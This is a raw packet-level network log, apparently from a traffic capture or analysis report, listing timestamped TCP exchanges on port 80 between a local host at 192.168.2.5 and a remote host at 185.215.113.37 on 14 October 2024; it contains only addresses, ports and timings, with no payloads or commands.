Oct 14, 2024 13:08:22.770807028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.770831108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.770838976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.770870924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.770879984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.770912886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.770922899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.770963907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.770965099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.770998955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771013021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771029949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771059036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771064997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771076918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771095037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771121025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771127939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771135092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771214008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771224976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771258116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771265030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771291971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771297932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771320105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771334887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771353006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771364927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771397114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771405935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771440029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771445036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771478891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771507978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771538973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771543980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771573067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771583080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771620035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771660089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771673918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771711111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771718979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771748066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771760941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771792889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771826029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771832943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771857977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771862030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771897078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.771950006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771981955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.771991014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.772022963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.772032976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.772064924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.772073030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.772103071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.772114038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.772145987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.772155046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.772180080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.772183895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.772211075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.772213936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.772243977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.772249937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.772336960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.772377968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.859158039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.859211922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.859256983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.859329939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.900571108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.900635958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.900640011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.900674105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.900690079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.900722980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.900728941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.900758028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.900762081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.900799036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.900808096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.900840998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.900846958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.900872946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.900881052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.900906086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.900917053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.900938034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.900970936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.900979042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901001930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901011944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901036024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901041031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901068926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901077032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901101112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901107073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901134014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901139975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901169062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901184082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901196957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901206970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901231050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901237011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901273966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901279926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901313066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901320934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901350975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901361942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901395082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901400089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901428938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901472092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901551962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901585102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901593924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901632071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901635885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901668072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901696920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901710033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901717901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901751041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901782990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901793003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901814938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901849031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901866913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901880980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901882887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901882887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901916027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.901916027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.901962042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902096033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902128935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902162075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902177095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902211905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902220964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902244091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902276039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902287960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902308941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902323008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902342081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902348995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902374983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902407885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902410984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902410984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902440071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902443886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902473927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902519941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902550936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902582884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902597904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902632952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902664900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902677059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902702093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902714014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902746916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902750969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902779102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902787924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902810097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902817011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902843952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902849913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902875900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902894974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902909040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.902915001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.902954102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.903153896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.903187037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.903198957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.903228998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.903237104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.903269053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.903270960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.903301954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.903306961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.903333902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.903347015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.903367043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.903372049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.903405905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.903443098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.903501034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.944386959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.944425106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.944442034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.944462061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:22.944480896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:22.944530964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.030970097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.030983925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.030992985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.031028032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.031030893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.031042099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.031052113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.031061888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.031071901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.031084061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.031126976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.031169891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.031178951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.031192064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.031202078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.031213999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.031228065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.031244993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.031255007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.031255007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.031265974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.031275988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.031284094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.031286001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.031306028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.031322002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.031801939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.031847954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.031851053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.031860113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.031884909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.031899929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032023907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032041073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032051086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032061100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032071114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032072067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032080889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032098055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032108068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032114029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032119036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032119989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032130957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032140970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032140970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032151937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032161951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032171965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032179117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032181978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032191038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032192945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032208920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032213926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032219887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032231092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032231092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032238960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032254934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032285929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032285929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032296896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032306910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032318115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032330990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032357931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032412052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032422066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032432079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032442093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032452106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032464027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032470942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032474995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032480955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032495022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032587051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032632113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032660007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032665968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032670021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032711029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032726049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032752991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032752991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032752991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032814980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032888889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032898903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032911062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032938004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032953978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032964945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032968044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.032974958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032984972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.032990932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.033003092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.033027887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.033062935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.033073902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.033082962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.033093929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.033104897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.033104897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.033138037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.033232927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.033243895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.033257961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.033258915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.033269882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.033282042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.033292055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.033302069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.033309937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.033319950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.033320904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.033320904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.033351898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.033351898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.073776007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.073828936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 14, 2024 13:08:23.073847055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.073854923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 14, 2024 13:08:23.073882103 CEST	49704	80	192.168.2.5	185.215.113.37
